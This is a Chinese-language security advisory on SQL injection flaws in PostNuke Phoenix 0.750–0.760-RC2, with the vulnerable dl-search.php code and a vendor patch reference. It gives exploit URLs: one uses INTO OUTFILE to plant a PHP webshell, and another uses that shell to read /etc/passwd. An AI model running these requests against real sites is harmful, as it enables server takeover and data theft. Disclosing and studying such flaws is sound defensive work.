PostNuke多个脚本远程SQL注入漏洞


添加时间:
2005-08-18

系统编号:
WAVDB-00561
BUGTRAQ: 12684

影响版本:
PostNuke Phoenix 0.750-0.760-RC2

程序介绍:

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

漏洞分析:

PHP-Nuke多个脚本对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或修改数据库。

 

 问题一是modules/Downloads/dl-search.php的search()函数存在SQL注入:

 - -51-68---
     if ($show!=  ) {
         $downloadsresults = $show;
     } else {
         $show=$downloadsresults;
     }
     //$query = stripslashes($query);
     $column = &$pntable['downloads_downloads_column'];
     $sql =  SELECT $column[lid], $column[cid], $column[sid],
                               $column[title], $column[url], $column[description],
                               $column[date], $column[hits], \
 $column[downloadratingsummary],  $column[totalvotes], $column[totalcomments],
                               $column[filesize], $column[version], $column[homepage]
                               FROM $pntable[downloads_downloads]
                               WHERE $column[title] LIKE \
                 '% .pnVarPrepForStore($query). %'
                                 OR $column[description] LIKE \
                 '% .pnVarPrepForStore($query). %'
                                 ORDER BY $pntable[downloads_downloads].$orderby ;

     $result = $dbconn->SelectLimit($sql, $downloadsresults, (int)$min);

 问题存在于$show变量,提交如下URL:

 http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

 会显示如下错误信息:

 - ---------------
 Fatal error: Call to a member function PO_RecordCount() on a non-object in \
                 /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
                 74
 - ---------------

 由于这个SQL注入在ORDER BY之后,不能使用UNION,但检查这个漏洞:

 先检查PostNuke路径:

 http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

 Error message :
 - ---------------
 Fatal error: Call to a member function PO_RecordCount() on a non-object in \
                 /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
                 74
 - ---------------

 如前缀为/www/PostNuke-0.760-RC2/html/。

 现在增加新的downloadinsert到 Description 或 Home page  php代码,如:

 - ---
 
 - ---

 这个download存在于db中,进入:

 http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=[Program \
 name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*

 就可以执行如下URL:

 http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd

 问题二是对$orderby缺少正确过滤,提交如下请求可进行SQL注入攻击:

 http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&orderby=



解决方案:
厂商补丁:
PostNuke
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.postnuke.com/

信息来源:
<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
   链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110962710805864&w=2
 *>